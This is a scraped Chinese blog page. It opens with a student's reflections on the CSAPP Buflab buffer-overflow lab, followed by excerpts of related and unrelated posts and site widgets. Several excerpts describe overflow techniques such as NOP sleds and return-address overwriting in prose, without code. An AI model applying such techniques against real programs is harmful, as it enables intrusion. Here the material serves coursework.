1. 在一开始不清楚运行这个实验的各种代码以及这个实验每一级到底要求我们做什么,通过仔细阅读提供的PDF文档以及上网查询后成功理清思路,并成功一步步完成实验。2. 在做题过程中,遇到很多只通过阅读汇编代码以及手写分析很难解决的问题,于是借助gdb调试工具,最终成功获得所需要的数据。3. 反汇编实验文件得到的汇编代码非常多,然而,其实不需要去全部阅读,只需要阅读关键函数如test和getbuf的关键部分即可,这样可以让实验过程变得更高效。4. 在刚开始做level2时,我不知道该如何修改全局变量。

Wzasty的博客 2078

CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(6)

level4 前面4个level都是栈基址是固定的,所以我们可以猜测到栈帧的结构进行覆盖篡改,这一关就是引入了缓冲区溢出攻击的一种保护措施,就是栈基址随机化,让栈基址不可以猜测,我们来实施缓冲区溢出攻击,那么我们就要用到nop雪橇了。nop只是执行eip自加1不进行其他的操作。在我们无法猜测的时候,只需要找到最大的地址,然后前面用nop雪橇那么只要在nop段中都会自动划入。 这一level用的

syq1207的博客 7247

机器人控制入门

机器人控制入门 对于工科领域来说,脱离实践的学习都是肤浅的,对于控制这种强调经验的技术更是如此。如果去问一个程序员怎么学习一块技术,他必然让你去多编程。机器人领域也是。如果想把基本功打扎实,那么实践更是必不可少了。 机器人控制有三个元素:控制器(算法),执行器(电机),传感器; 控制的本质就是将规划系统的指令作为输入信息,将传感器探测得到的状态信息和导航系统的定位

彼岸花 1万+

2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收

HNU-计算机系统-实验4-Buflab 附助教的感悟,更新同学分享的重定位方法

wolf的博客 2064

SAP OBYC自动过账全解析:从BSX到WRX的会计科目配置指南

本文深入解析SAP OBYC自动过账功能,从BSX到WRX的会计科目配置全流程,涵盖评估分组代码、事务码和评估类等核心概念。通过实战案例展示如何实现库存变动到财务过账的自动化流转,提升企业财务数据的准确性和效率。

weixin_29239279的博客 421

西工大 计算机系统基础实验 3 BufLab 2024 思路简析

rop

Zed1145的博客 911

人工智能(AI)简史:推动新时代的科技力量

人工智能(AI,Artificial Intelligence)是计算机科学的一个分支,旨在研究和开发可以模拟、扩展或增强人类智能的系统。它涉及多种技术和方法,包括机器学习、深度学习、自然语言处理(NLP)、计算机视觉、专家系统等。

qq_17153885的博客 1万+

BEVFusion实战:从零搭建LiDAR-Camera融合的3D目标检测环境(附避坑指南)

本文提供了BEVFusion实战指南,详细讲解如何从零搭建LiDAR-Camera融合的3D目标检测环境。内容涵盖环境配置、数据预处理、模型训练与性能优化等关键步骤,并附有实用的避坑技巧,帮助开发者高效部署这一先进的BEV感知算法。

p4q5r6s7t的博客 515

计算机系统实验--BufLab

湖南大学信息科学与工程学院计算机系统Lab4

weixin_45554191的博客 1849

大规模新闻聚合爬虫实战:Python爬取数百万新闻数据的完整指南

本文详细介绍了如何构建一个大规模新闻聚合爬虫,结合Python异步爬虫技术,实现高效、稳定的新闻数据采集。增加NLP模块对新闻内容做自动分类、情感分析。引入机器学习模型检测新闻真实性。使用分布式爬虫框架进一步提升规模。增加多媒体内容抓取与处理。

2201_76125261的博客 1555

HNU-2024计算机系统实验-BufLab

这是2024学年春季学期计算机系统的最后一个实验,以教材中缓冲区攻击的栈溢出攻击为基础,实现一系列的缓冲区攻击,难度依次上升,但是有了BombLab实验的基础,这个实验的汇编代码就理解就简单很多,没有复杂数据结构,也没有复杂的函数递归,但是这个实验覆盖了栈处理的多种情况,对于函数栈帧的理解有很大帮助。

2403_85944944的博客 1449

深度解析:LPDDR5 采样 Mask 背后的秘密 —— 从 Jitter 到 BER 全面剖析

在 LPDDR5 中,CK/DQS 信号相当于“指挥棒”,而数据(DQ)要在时钟节拍里被准确采样。Crosspoint Mask 区域横轴:时间 (Time)纵轴:电压 (Vref)👉 只要采样点落在这个区域内,数据就是正确的。否则就会出错。BERPBERPMask 就像高速公路的收费站口,如果车(采样点🚗)在车道内,顺利通过;一旦跑偏,就撞护栏。LPDDR5 的速率极高,UI 非常短,Mask 区域成为核心指标各种 Jitter、Noise 会不断压缩 Mask。

weixin_43199439的博客 354

5、硬件工程师笔试面试——上拉电阻、下拉电阻(2025版本)

本文系统介绍了上拉电阻和下拉电阻的原理与应用。上拉电阻通过连接电源确保电路高电平状态,常用于数字电路防抖、OC门驱动等场景;下拉电阻连接地线维持低电平,适用于低电平触发电路。文章详细分析了两种电阻的选择方法、功耗与响应速度的平衡策略,以及在高速信号传输中的影响差异。同时对比了二者的优缺点,并提供了模拟电路中的应用实例。最后给出了电阻值计算的工程方法,为硬件工程师的电路设计提供了实用参考。

XU157303764的博客 2872

【计算机系统】Buflab实验

目录前言实验前的准备Level 0:CandleLevel 1:SparklerLevel 2:FirecrackerLevel 3:DynamiteLevel 4:Nitroglycerin 前言 内容仅作记录,请谨慎参考。 实验前的准备 首先查看实验文文件: 可以看到里面一共有三个文件:bufbomb、hex2raw、makecookie 从实验指导书中可以了解到这三个文件的具体作用: bufbomb是我们要攻击的程序 makecookie会根据我们的用户id生成一个“cookie” hex2raw

Yv_shu的博客 3138

【TCAD】AlGaN 器件的Sentaurus仿真

否则,必须在 LatticeParameters Sentaurus Device 的参数文件中的部分。Sentaurus Device 有两个工具实例:第一个工具实例, sd_fdiv ,模拟正向偏置特性,第二个工具实例, sd_rviv ,模拟反向偏置特性直至击穿。对于牛顿求解器,通常应该将非线性迭代次数限制为一个足够小的值,例如 Iterations=20 ,同时通过指定非阻尼迭代次数高于允许的牛顿迭代次数来避免解的阻尼( NotDamped=30 )。晶胞中的 Ga-N 键为橙色。

荷塘阅色 1215

ICS计算机系统实验--buflab

实验内容及操作步骤: 实验步骤 1.实验题目分析和准备 本次实验共分为5个部分,在基于ubuntu12.04虚拟机环境下进行实验。 本实验在linux环境下进行,方便使用用gdb调试方法进行实验,因为本次实验反汇编出的汇编代码很长,在命令行中有时会显示不全,因此我们可以通过指令objdump -d bufbomb > bufbomb.txt 可以将反汇编出的汇编代码导入到一个txt文件,然后进行分析。 2.实验步骤和分析过程 Level 0 Candle 题目中给出了...

Luobuda的博客 4665

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

HNU-计算机系统(CSAPP)实验四 BufLab

1.刚开始计算esp时候经常忘记把push进来的4个字节给加上,后来经过重新看了一遍CSAPP第三章之后,遗忘的知识点大多都被复习起来了,做后面的level就顺手多了。2.在level4的将汇编指令转换成机器码那一部分,因为忘记给我的cookie立即数加上“$”符号了,导致这个mov的机器码从b8变成了a1,也就是本来是取立即数的,结果取成了内存地址,导致输出错误。而且这个bug找了很长时间,所以说在徒手写汇编时还是要小心为上,一个符号都不能错。A1MOV ax,[16位内存数值]B8。

obstacle19的博客 2176

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(2)

Level0 首先是test函数和getbuf函数以及smoke函数的c代码如下:   Level0 就很简单,就是本来test函数调用getbuf函数,调用完以后还返回test函数,现在我们要做的是调用getbuf函数后,通过输入我们的exploit,使得调用完以后不返回test函数了而是执行smoke函数。 这里的实现就很简单,只需要输入超出缓冲区大小的字符串来覆盖到g

syq1207的博客 8175

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

上一篇: 一篇博客解决常见的排序
下一篇: 中秋节在女友手上p了一个超级漂亮的月亮
南懿烨曦
博客等级 码龄6年 108粉丝 35原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值